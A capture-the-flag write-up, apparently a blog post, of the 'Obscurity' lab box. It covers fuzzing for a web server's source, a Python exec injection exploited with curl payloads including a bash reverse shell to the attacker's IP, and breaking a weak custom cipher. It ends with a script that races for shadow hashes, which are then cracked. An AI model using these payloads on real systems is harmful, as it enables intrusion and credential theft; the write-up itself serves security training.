Obscurity was a medium Linux box that offered completely custom written software. This was a cool concept to explore, because it required diving into source code to spot vulnerabilities. For the foothold, this was fuzzing to find the source of the web server and then spotting a vulnerable exec function based on user input. User required a bit of reverse engineering to decrypt a key used in a custom encryption tool. Finally, root access came from abusing the temporary write of password hashes during login attempts for a custom SSH service.

Logo Creator OS Difficulty Points Graph
Control Logo clubby789 Linux Medium 30 graph

Recon

I started off as always with my combination of nmap scans. I noticed a web server running on port 8080, and a normal looking OpenSSH service on port 22.

Command 1: nmap -F -oN nmap/quick 10.10.10.168

Command 2: nmap -sC -sV -p 22,8080 -oN nmap/def-script 10.10.10.168

Nmap scan report for 10.10.10.168
Host is up (0.091s latency).

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings:

...snip...

|_http-server-header: BadHTTPServer
|_http-title: 0bscura
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

...snip...

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Finding a Foothold

The website claims to be running completely custom software, and after doing some searching for Obscura I have no reason to suspect otherwise.

website

There’s an interesting note at the bottom of the home page, however. It says: Message to server devs: the current source code for the web server is in ‘SuperSecureServer.py’ in the secret development directory. This is a super promising hint, because if I can see the source code then maybe I can find a vulnerability. First, I’ll need to figure out what the development directory is. I can use wfuzz for this, trying to enumerate subdirectories with the known file name.

root@gbm-vm:~/htb/obscurity# wfuzz -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -w wordlist-dev.txt --hs "Document \/.+ could not be found"

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Total requests: 343

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                         
===================================================================

000000009:   200        170 L    498 W    5892 Ch     "develop"

This gives me a hit for the file located at http://10.10.10.168:8080/develop/SuperSecureServer.py. When I visit this page, I get the source code for the server as expected.

Remote Code Execution

I spent some time reading through the source code, trying to find a vulnerability. Fortunately, some comments hinting at inexperienced developers led me to the right spot:

def serveDoc(self, path, docRoot):
    path = urllib.parse.unquote(path)
    try:
        info = "output = 'Document: {}'" # Keep the output for later debug
        exec(info.format(path)) # This is how you do string formatting, right?

This snippet of code explains how the web server handles requests from a client, and the exec function is always fun to see as an attacker. All the format function does in Python is insert the path (which is my user input when I look for a page) to replace the brackets in the info variable. Then exec gets called on the result. The original intent is to execute a string of Python code to set user input as a variable, and this is an incredibly insecure way of doing so.

What this means is that I can do an attack very similar to a SQL injection, but using Python code. It’s a bit unique, but hey it’s custom software. I’ll start tcpdump on my host machine and send a GET request with cURL to inject my own command: curl http://10.10.10.168:8080/\'%3bos.system\(urllib.parse.unquote_plus\(\"ping+-c+1+10.10.15.95\"\)\)%23

foothold

Perfect! Now I can use a standard reverse shell (I almost exclusively use the bash revshell from PentestMonkey).

Command: curl http://10.10.10.168:8080/\'%3bos.system\(urllib.parse.unquote_plus\(\"bash+-c+\'bash+-i+%3e%26+/dev/tcp/10.10.15.95/1337+0%3e%261\'\"\)\)%23

Getting User

The first thing I always do with a reverse shell is get a full TTY with Python. Then I see if I can list the contents of any home directories, and here I’m able to see some interesting files in robert’s home directory.

# Check which version of Python is installed
www-data@obscure:/home/robert$ which python3
/usr/bin/python3

# Get the TTY Shell
www-data@obscure:/home/robert$ python3 -c 'import pty;pty.spawn("/bin/bash")'

# List the contents of the home directory
www-data@obscure:/home/robert$ ls
BetterSSH  out.txt               SuperSecureCrypt.py
check.txt  passwordreminder.txt  user.txt

Reversing

I’ll check out SuperSecureCrypt.py first, because it might explain the other files I see here. That assumption is correct, because it has code to encrypt and decrypt a file with yet another custom algorithm.

import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i', metavar='InFile', type=str, help='The file to read', required=False)

parser.add_argument('-o', metavar='OutFile', type=str, help='Where to output the encrypted/decrypted file', required=False)

parser.add_argument('-k', metavar='Key', type=str, help='Key to use', required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

This definitely took me some time to read through and understand, especially because I don’t have a knack for anything cryptography related. But with a little time and understanding of code, I realized I can use a plaintext file and an envrypted file to get the key used in encryption. The file out.txt gives a hint as well: Encrypting this file with your key should result in out.txt, make sure your key is correct! Because the ciphertext is essentially the result of shifting the plaintext by the offset specified in the key, I can treat it like an arithmetic calculation and get the key. With the key, I can then decrypt passwordreminder.txt.

This is the code I used to decrypt the key (using Python3):

import sys

def getKey(encrypted, plaintext):
    pPos = 0
    pLen = len(plaintext)
    key = ""
    for x in encrypted:
        pChr = ord(plaintext[pPos])
        eChr = ord(x)
        keyChr = chr((eChr - pChr) % 255)
        key += keyChr
        pPos += 1
        pPos = pPos % pLen
    return key

eFile = input('Enter encrypted file: ')
pFile = input('Enter plaintext file: ')

with open(eFile, 'r', encoding='UTF-8') as f:
    eData = f.read()

with open(pFile, 'r', encoding='UTF-8') as f:
    pData = f.read()

key = getKey(eData, pData)
sys.stdout.buffer.write(key.encode('utf8'))

The output from this is a long, repeated phrase: alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichw1. This makes sense when you realize that the key isn’t necessarily as long as the ciphertext, but is repeated over and over until the encryption is complete. Therefore, we can see the key is alexandrovich.

User Flag

I’ll use the key to decrypt the password: python3 SuperSecureCrypt.py -d -i passwordreminder.txt -k alexandrovich -o password.txt

This gives us robert’s credentials, which we can use with su and get the user flag (HTB rotates flags now so I don’t have to hide it):

www-data@obscure:/home/robert$ su robert
Password: SecThruObsFTW

robert@obscure:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),4(adm),24(cdrom),30(dip),46(plugdev)

robert@obscure:~$ cat user.txt
e4493782066b55fe2755708736ada2d7

Getting Root

In recon for user, I noticed another folder called BetterSSH. Even more suspicious, when I check sudo -l I see that robert can run this with sudo.

robert@obscure:/dev/shm$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Looking at the source for BetterSSH, I noticed a dangerous section of code:

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")                                                                   
                                                                                                        
    with open('/etc/shadow', 'r') as f:                                                                                                                                                                          
        data = f.readlines()                                                                            
    data = [(p.split(":") if "$" in p else None) for p in data]                                                                                                                                                  
    passwords = []                                  
    for x in data:                                  
        if not x == None:                           
            passwords.append(x)                                                                         

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])                                                                                                                                                  
    with open('/tmp/SSH/'+path, 'w') as f:                                                              
        f.write(passwordFile)                                                                           
    time.sleep(.1)                                  
    salt = ""                                       
    realPass = ""                                   
    for p in passwords:                             
        if p[0] == session['user']:                                                                     
            salt, realPass = p[1].split('$')[2:]                                                        
            break

This SSH program is writing a random file to the /tmp/SSH/ directory for a very short time (0.1 seconds). This file contains the password hash of users on the box pulled directly from /etc/shadow. This means I can write a listener to check for these files being created, and attempt to log in as any user I want to get their password hash. This is the code I used to grab the hash as I logged in:

while true; do
        if [ `ls -A /tmp/SSH` ]; then
                cat $(find /tmp/SSH -type f)
                exit
        fi
done

When I run BetterSSH and attempt a login as root, I get the password hash for root: $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1. I’ll go ahead and crack this with hashcat: hashcat -m 1800 obscurity-shadow.txt rockyou.txt. This gives me credentials for root, which I can use to su and get the root flag.

robert@obscure:~$ su root
Password: mercedes

root@obscure:/home/robert# id
uid=0(root) gid=0(root) groups=0(root)

root@obscure:/home/robert# cat /root/root.txt
512fd4429f33a113a44d5acde23609e3